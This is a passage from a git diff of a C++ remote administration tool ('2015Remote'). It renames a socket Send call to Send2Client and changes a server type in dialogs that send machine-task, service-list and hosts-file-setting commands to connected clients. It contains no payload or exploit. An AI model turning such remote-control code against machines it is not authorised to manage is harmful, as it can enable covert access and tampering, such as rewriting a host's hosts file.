BYTE bToken = COMMAND_MACHINE_TASK;
- m_iocpServer->Send(m_ContextObject, &bToken, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
}
break;
}
@@ -1560,7 +1560,7 @@ void CMachineDlg::ShowServiceList_menu()
bToken = COMMAND_SERVICE_LIST_WIN32;
else
bToken = COMMAND_SERVICE_LIST_DRIVER;
- m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
}
break;
case 700:
@@ -1630,7 +1630,7 @@ void CMachineDlg::ShowHostsList_menu()
LPBYTE lpBuffer = new BYTE[1 + Data_a.GetLength()];
lpBuffer[0] = COMMAND_HOSTS_SET;
memcpy(lpBuffer + 1, Data_a.GetBuffer(0), Data_a.GetLength());
- m_iocpServer->Send(m_ContextObject, lpBuffer, Data_a.GetLength() + 1);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, Data_a.GetLength() + 1);
SAFE_DELETE_AR(lpBuffer);
}
break;
diff --git a/server/2015Remote/sys/MachineDlg.h b/server/2015Remote/sys/MachineDlg.h
index 1d3af3b..05028fd 100644
--- a/server/2015Remote/sys/MachineDlg.h
+++ b/server/2015Remote/sys/MachineDlg.h
@@ -13,7 +13,7 @@
class CMachineDlg : public DialogBase
{
public:
- CMachineDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
+ CMachineDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
~CMachineDlg();
enum { IDD = IDD_MACHINE };
diff --git a/server/2015Remote/sys/ServiceInfoDlg.cpp b/server/2015Remote/sys/ServiceInfoDlg.cpp
index 9498a9b..4156035 100644
--- a/server/2015Remote/sys/ServiceInfoDlg.cpp
+++ b/server/2015Remote/sys/ServiceInfoDlg.cpp
@@ -82,7 +82,7 @@ void CServiceInfoDlg::SendToken(BYTE bToken)
lpBuffer[0] = bToken;
memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength());
- m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
+ m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
LocalFree(lpBuffer);
}
diff --git a/server/2015Remote/sys/ServiceInfoDlg.h b/server/2015Remote/sys/ServiceInfoDlg.h
index 0490954..f738281 100644
--- a/server/2015Remote/sys/ServiceInfoDlg.h
+++ b/server/2015Remote/sys/ServiceInfoDlg.h
@@ -19,7 +19,7 @@ public:
CServiceInfoDlg(CWnd* pParent = NULL);
ClientContext* m_ContextObject;
- ISocketBase* m_iocpServer;
+ Server* m_iocpServer;
enum { IDD = IDD_SERVICE_INFO };
CComboBox m_combox_runway;